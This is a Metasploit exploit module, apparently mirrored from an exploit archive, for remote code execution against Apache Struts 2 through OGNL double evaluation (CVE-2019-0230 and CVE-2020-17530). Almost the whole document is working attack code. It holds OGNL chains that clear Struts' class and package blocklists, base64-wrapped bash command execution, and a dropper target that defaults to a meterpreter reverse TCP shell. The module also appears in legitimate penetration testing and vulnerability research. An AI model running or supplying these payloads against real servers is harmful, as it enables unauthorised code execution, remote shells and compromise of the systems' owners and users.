Share
## https://sploitus.com/exploit?id=PACKETSTORM:160721
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Struts 2 Forced Multi OGNL Evaluation',  
'Description' => %q{  
The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags  
attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a  
tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).  
  
This vulnerability is application dependant. A server side template must make an affected use of request data to  
render an HTML tag attribute.  
},  
'Author' => [  
'Spencer McIntyre', # Metasploit module  
'Matthias Kaiser', # discovery of CVE-2019-0230  
'Alvaro Muñoz', # (@pwntester) discovery of CVE-2020-17530  
'ka1n4t', # PoC of CVE-2020-17530  
],  
'References' => [  
['CVE', '2019-0230'],  
['CVE', '2020-17530'],  
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-059'],  
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-061'],  
['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-059'],  
['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-061'],  
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2'],  
['URL', 'https://github.com/ka1n4t/CVE-2020-17530'],  
],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DisclosureDate' => '2020-09-14', # CVE-2019-0230 NVD publication date  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],  
'Reliability' => [ REPEATABLE_SESSION, ]  
},  
'DefaultTarget' => 0  
)  
)  
  
register_options([  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),  
OptString.new('NAME', [ true, 'The HTTP query parameter or form data name', 'id']),  
OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-17530', ['CVE-2020-17530', 'CVE-2019-0230']])  
])  
register_advanced_options([  
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),  
OptString.new('HttpCookie', [false, 'An optional cookie to include when making the HTTP request'])  
])  
end  
  
def check  
num1 = rand(1000..9999)  
num2 = rand(1000..9999)  
  
res = send_request_cgi(build_http_request(datastore['CVE'], "#{num1}*#{num2}"))  
if res.nil?  
return CheckCode::Unknown  
elsif res.body.scan(/(["'])\s*#{(num1 * num2)}\s*\1/).empty?  
return CheckCode::Safe  
end  
  
return CheckCode::Appears  
end  
  
def exploit  
cve = datastore['CVE']  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']} using #{cve}")  
  
if cve == 'CVE-2019-0230'  
ognl = []  
ognl << '#context=#attr[\'struts.valueStack\'].context'  
ognl << '#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']'  
ognl << '#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)'  
ognl << '#ognlUtil.setExcludedClasses(\'\')'  
ognl << '#ognlUtil.setExcludedPackageNames(\'\')'  
res = send_request_cgi(build_http_request(cve, ognl))  
fail_with(Failure::UnexpectedReply, 'Failed to execute the OGNL preamble') unless res&.code == 200  
end  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded, { cve: cve })  
when :linux_dropper  
execute_cmdstager({ cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 512 })  
end  
end  
  
def execute_command(cmd, opts = {})  
send_request_cgi(build_http_request(opts[:cve], build_ognl(opts[:cve], cmd)), 5)  
end  
  
def build_http_request(cve, ognl)  
ognl = ognl.map { |part| "(#{part})" }.join('.') if ognl.is_a? Array  
  
http_request_parameters = { 'uri' => normalize_uri(target_uri.path) }  
http_request_parameters['cookie'] = datastore['HttpCookie'] unless datastore['HttpCookie'].blank?  
if cve == 'CVE-2019-0230'  
http_request_parameters['method'] = 'GET'  
http_request_parameters['vars_get'] = { datastore['NAME'] => "%{#{ognl}}" }  
elsif cve == 'CVE-2020-17530'  
http_request_parameters['method'] = 'POST'  
http_request_parameters['vars_post'] = { datastore['NAME'] => "%{#{ognl}}" }  
end  
http_request_parameters  
end  
  
def build_ognl(cve, cmd)  
cmd = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash"  
ognl = []  
if cve == 'CVE-2019-0230'  
ognl << '#context=#attr[\'struts.valueStack\'].context'  
ognl << '#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)'  
ognl << "@java.lang.Runtime@getRuntime().exec(\"#{cmd}\")"  
elsif cve == 'CVE-2020-17530'  
ognl << '#instancemanager=#application["org.apache.tomcat.InstanceManager"]'  
ognl << '#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]'  
ognl << '#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")'  
ognl << '#bean.setBean(#stack)'  
ognl << '#context=#bean.get("context")'  
ognl << '#bean.setBean(#context)'  
ognl << '#macc=#bean.get("memberAccess")'  
ognl << '#bean.setBean(#macc)'  
ognl << '#emptyset=#instancemanager.newInstance("java.util.HashSet")'  
ognl << '#bean.put("excludedClasses",#emptyset)'  
ognl << '#bean.put("excludedPackageNames",#emptyset)'  
ognl << '#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")'  
ognl << "#execute.exec({\"#{cmd}\"})"  
end  
  
ognl  
end  
end